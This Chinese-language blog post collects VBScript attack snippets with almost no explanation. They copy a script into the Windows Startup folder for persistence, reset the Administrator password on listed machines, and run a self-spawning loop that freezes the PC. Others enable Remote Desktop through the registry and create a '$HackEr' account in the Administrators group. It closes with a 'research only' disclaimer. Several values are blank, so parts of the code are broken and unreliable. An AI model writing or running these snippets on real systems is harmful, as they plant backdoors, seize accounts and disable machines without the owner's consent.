VBscript实现开机自动启动，自动复制原件后启动

时间：2021-02-16 09:47:31
set fso = createobject("scripting.filesystemobject")

set ws = createobject("wscript.shell")

Msgbox"Messed up"

pt = ws.specialfolders("startup") & "\"

set file = fso.getfile(wscript.scriptfullname)

file.copy pt

set copy1=createobject("scripting.filesystemobject")

copy1.getfile(wscript.scriptfullname).copy("E:\huan.vbs")   

Dim delayer

Set delayer = CreateObject("WScript.Shell")

WScript.sleep

delayer.Run """E:\huan.vbs""", , FALSE

注册到启动项，可以通过win+X-->运行 msconfig 进入 启动-->任务管理器  禁用  或者 直接删除源文件停止。

第一次尝试VBscript，发现这玩意儿做安全实在是好用，不过，不能乱玩儿，容易出事儿....

比如：修改Admin的密码

Dim WshShell, oExec

Set wshShell = CreateObject("WScript.Shell")

Set objFSO = CreateObject("Scripting.FileSystemObject")

Set objInputFile = objFSO.OpenTextFile("D:\test\computer.txt",)

do until objInputFile.AtEndofStream

strcomputer = objInputFile.ReadLine

Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")

objUser.SetPassword "new password"

objUser.SetInfo

loop

比如：卡死电脑

Do

CreateObject("WScript.Shell").Run Chr() & WScript.ScriptFullName & Chr()

Loop

再比如：开启远程桌面

on error resume next

const HKEY_LOCAL_MACHINE = &H80000002

strComputer = "."

Set StdOut = WScript.StdOut

Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_

strComputer & "\root\default:StdRegProv")

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"

oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"

oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"

strValueName = "fDenyTSConnections"

dwValue =

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"

strValueName = "PortNumber"

dwValue =

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

strValueName = "PortNumber"

dwValue =

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

on error resume next

dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments():password=Wscript.Arguments():Else:username="$HackEr":password="":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)*wscript.echo of.ADsPath

（仅用于研究，请勿乱用，自己电脑实验请忽略）

相关文章